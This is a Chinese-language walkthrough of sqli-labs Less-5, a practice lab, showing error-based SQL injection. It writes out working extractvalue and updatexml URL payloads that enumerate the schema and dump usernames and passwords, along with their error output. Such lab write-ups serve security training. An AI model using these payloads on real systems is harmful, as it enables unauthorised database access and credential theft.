报错注入_sqli-labs less5 Double Query- Single Quotes- String

sqli-labs less5 Double Query- Single Quotes- String

?id=1

无回显

考虑报错注入

(1)判断字符型还是数字型

http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%201–+

http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%202–+

字符型而且是单引号闭合

（2）判断字段个数：

http://39.101.162.123:10067/Less-5/?id=1%27%20order%20by%201,2,3,4–+

所以是3个字段

（3）尝试报错注入

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select version()))) --+

（4）爆库名：
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select database()))) --+

XPATH syntax error: ‘~security’

(5)爆表名：
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

这里特别注意，一定要加limit 0,1 因为报错的信息不止一行，无法回显多行数据

XPATH syntax error: ‘~emails’

查询剩下的表：
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) --+

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1))) --+

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1))) --+

所以一共4个表。

下面对users表进行字段名的查询：

（6）爆字段名：

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))) --+

XPATH syntax error: '~id’

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1))) --+

XPATH syntax error: '~username’

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1))) --+

XPATH syntax error: '~password’

三个字段全部爆完：id,username,password

(7)爆数据：

这里就不繁琐的爆了，简单就爆第一个数据

http://39.101.162.123:10067/Less-5/?id=1’or updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from users )),0)or’ --+

这里就爆了第一个数据和部分第二个数据：

XPATH syntax error: ‘~1:Dumb:Dumb,2:Angelina:I-kill-y’

报错注入_sqli-labs less5 Double Query- Single Quotes- String相关推荐

SQLi LABS Less-5 报错注入+布尔盲注
第五关是单引号字符型注入,推荐使用报错注入.布尔盲注方式一:报错注入推荐文章:报错注入使用详解,原理+步骤+实战教程第一步.判断注入点地址栏输入:?id=1' 单引号导致,页面显示数据库的报错 ...
mysql less6教程_Sqli labs系列-less-56 报错注入法（上）
睡了一下午,晚上也没啥事,还特别精神,就想着,要不继续做做这个系列第五关和第六关吧,在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是 ...
SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注
第26关是单引号字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录一.功能分析二 ...
SQLi LABS Less 23 联合注入+报错注入+布尔盲注
第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...
SQLi LABS Less-11 联合注入+报错注入
第十一关是单引号字符型注入,推荐使用联合注入.报错注入方式一:联合注入参考文章:联合注入使用详解原理+步骤+实战教程第一步.判断注入类型用户名输入: a' or 1 -- a 密码随便输入: ...
SQLi LABS Less-6 报错注入+布尔盲注
第六关是双引号字符型注入,推荐使用报错注入.布尔盲注方式一:报错注入推荐文章:报错注入使用详解,原理+步骤+实战教程第一步.判断注入点地址栏输入:?id=1" 页面显示数据库的报错信 ...
SQLi LABS Less 17 报错注入
第十七关单引号字符型注入 ,推荐使用报错注入. 一.功能分析这关是一个修改密码的功能,先查询用户名是否正确. 如果用户名正确,后台就修改密码,并提示修改成功: 如果用户名错误,页面就直接返回修改失败 ...

报错注入_sqli-labs less5 Double Query- Single Quotes- String

sqli-labs less5 Double Query- Single Quotes- String

报错注入_sqli-labs less5 Double Query- Single Quotes- String相关推荐

最新文章

热门文章